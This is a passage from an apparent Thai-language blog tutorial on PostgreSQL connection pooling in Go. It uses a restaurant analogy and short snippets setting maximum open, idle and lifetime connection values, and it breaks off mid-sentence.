&#xE1C;&#xE39;&#xE49;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE25;&#xE14;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE15;&#xE32;&#xE21;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;</p><p>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE19;&#xE35;&#xE49;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE25;&#xE14;&#xE40;&#xE27;&#xE25;&#xE32;&#xE23;&#xE2D;&#xE02;&#xE2D;&#xE07;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE21;&#xE35;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE40;&#xE2A;&#xE21;&#xE2D; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE49;&#xE32;&#xE19;&#xE17;&#xE31;&#xE49;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27; (Database Server) &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE01;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;</p><p>&#xE2B;&#xE32;&#xE01;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Connection Pooler &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE27;&#xE34;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE07;&#xE25;&#xE38;&#xE01;&#xE2D;&#xE2D;&#xE01;&#xE44;&#xE1B; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE48;&#xE32;&#xE0A;&#xE49;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE23;&#xE48;&#xE07;&#xE14;&#xE48;&#xE27;&#xE19;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE42;&#xE15;&#xE4A;&#xE30; &#xE41;&#xE25;&#xE30;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE04;&#xE2D;&#xE02;&#xE27;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE23;&#xE49;&#xE32;&#xE19;&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE27;&#xE48;&#xE32;&#xE07;</p><p><strong>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;</strong> PostgreSQL &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49; 100-300 Connection (&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE31;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19; Hardware &#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; &#xE41;&#xE25;&#xE30;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE02;&#xE2D;&#xE07; Application &#xE2F;&#xE25;&#xE2F;) &#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Connection &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21; (Transaction) &#xE44;&#xE14;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; 1-5 TPS (Transactions Per Second) &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; PostgreSQL &#xE08;&#xE30;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A; Transaction &#xE44;&#xE14;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; 100-1,500 TPS &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; (&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE22;&#xE32;&#xE1A; &#xE46;) &#xE2B;&#xE32;&#xE01;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE34;&#xE19; 300 &#xE04;&#xE19; (300 Connection) &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE04;&#xE19;&#xE17;&#xE35;&#xE48; 301 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE19;&#xE44;&#xE1B;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35; Connection &#xE27;&#xE48;&#xE32;&#xE07; &#xE41;&#xE25;&#xE30;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14; Timeout &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/connection_scaling.png" class="kg-image" alt loading="lazy" width="1500" height="735" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/connection_scaling.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/connection_scaling.png 1000w, https://blog.pjjop.org/content/images/2024/08/connection_scaling.png 1500w" sizes="(min-width: 720px) 720px"><figcaption>https://pganalyze.com/blog/postgres-14-performance-monitoring</figcaption></figure><p>&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; PostgreSQL &#xE2D;&#xE32;&#xE08;&#xE1B;&#xE0F;&#xE34;&#xE40;&#xE2A;&#xE18;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE36;&#xE07;&#xE02;&#xE35;&#xE14;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; &#xE41;&#xE25;&#xE30;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE23;&#xE38;&#xE19;&#xE41;&#xE23;&#xE07;&#xE01;&#xE47;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; PostgreSQL &#xE25;&#xE48;&#xE21;&#xE44;&#xE14;&#xE49; &#xE01;&#xE32;&#xE23;&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE43;&#xE19;&#xE23;&#xE49;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32; 300 &#xE04;&#xE19;</p><p>&#xE44;&#xE21;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE41;&#xE15;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Connection &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE41;&#xE15;&#xE48; Connection Pooler &#xE22;&#xE31;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Connection &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Connection &#xE40;&#xE14;&#xE34;&#xE21;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE04;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Connection &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01; &#xE46; &#xE04;&#xE23;&#xE31;&#xE49;&#xE07;</p><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Connection Pooling &#xE21;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE14;&#xE35;&#xE41;&#xE25;&#xE30;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE04;&#xE27;&#xE23;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32; &#xE17;&#xE31;&#xE49;&#xE07;&#xE43;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48; Connection Pool &#xE08;&#xE30;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32; Connection &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE27;&#xE49;&#xE41;&#xE21;&#xE49;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Connection &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19; &#xE2D;&#xE32;&#xE08;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Debug &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE22;&#xE32;&#xE01;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE27;&#xE48;&#xE32;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01; Query &#xE43;&#xE14; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE43;&#xE14;&#xE02;&#xE2D;&#xE07; Application &#xE2F;&#xE25;&#xE2F;</p><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE40;&#xE2B;&#xE25;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Connection Pooling &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;</p><p>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; Connection Pooling</p><p>1. MaxOpenConns &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Connection &#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE17;&#xE35;&#xE48;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE44;&#xE27;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2D;&#xE32;&#xE08;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; 20-50 Connection &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Application &#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B; &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; Connection Pooler &#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01; &#xE40;&#xE0A;&#xE48;&#xE19; PgBouncer</p><p>&#xE2B;&#xE32;&#xE01;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Go &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Connection &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;</p><pre><code>db.SetMaxOpenConns(25)</code></pre><p>2. MaxIdleConns &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Connection &#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; (&#xE40;&#xE1B;&#xE34;&#xE14; Connection &#xE23;&#xE2D;&#xE43;&#xE19; Pool) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE27;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; MaxOpenConns (&#xE04;&#xE27;&#xE23;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE15;&#xE32;&#xE21;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;&#xE02;&#xE2D;&#xE07; Application)</p><p>&#xE2B;&#xE32;&#xE01;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Go &#xE08;&#xE30;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32; Idle Connection (&#xE42;&#xE15;&#xE4A;&#xE30;&#xE43;&#xE19;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE27;&#xE48;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;) &#xE44;&#xE27;&#xE49;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14; 2 Connection</p><pre><code>db.SetMaxIdleConns(10)</code></pre><p>3. ConnMaxLifetime(duration) &#xE04;&#xE37;&#xE2D; &#xE2D;&#xE32;&#xE22;&#xE38;&#xE02;&#xE2D;&#xE07; Connection &#xE17;&#xE35;&#xE48;&#xE22;&#xE2D;&#xE21;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE04;&#xE49;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE1B;&#xE34;&#xE14; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Connection &#xE44;&#xE2B;&#xE19;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE27;&#xE49;&#xE19;&#xE32;&#xE19;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B; &#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;&#xE08;&#xE30;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE44;&#xE27;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; 5 &#xE19;&#xE32;&#xE17;&#xE35; &#xE16;&#xE36;&#xE07; 1 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07; &#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE31;&#xE19;&#xE27;&#xE48;&#xE32; Connection &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE36;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; &#xE41;&#xE15;&#xE48;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48; Pool &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;</p><p><strong>&#xE2B;&#xE32;&#xE01;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Connection &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Expire &#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Connection &#xE40;&#xE1B;&#xE34;&#xE14;&#xE04;&#xE49;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49;&#xE19;&#xE32;&#xE19;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;!</strong></p><pre><code>db.SetConnMaxLifetime(5 * time.Minute)</code></pre><p><strong>&#xE43;&#xE0A;&#xE49; Context Timeout &#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Operation (Query)</strong></p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07; <strong>ConnMaxLifetime</strong> &#xE41;&#xE25;&#xE30; <strong>Context Timeout </strong>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database</p><p>ConnMaxLifetime 